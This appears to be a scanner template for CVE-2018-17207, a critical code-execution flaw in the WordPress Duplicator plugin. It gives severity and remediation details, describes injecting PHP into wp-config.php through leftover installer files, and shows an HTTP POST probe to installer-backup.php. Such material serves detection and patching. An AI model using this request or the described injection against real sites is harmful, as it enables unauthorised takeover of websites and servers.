| Title | WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution |
|---|---|
| Author | synacktiv,iamnoooob,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover. |
| Remediation | Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91343 |
| CVE ID | CVE-2018-17207 |
| CWE ID | CWE-94 |
| Tags | cve cve2018 wordpress duplicator rce vkev passive vuln |
An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
POST /installer-backup.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action_step=1
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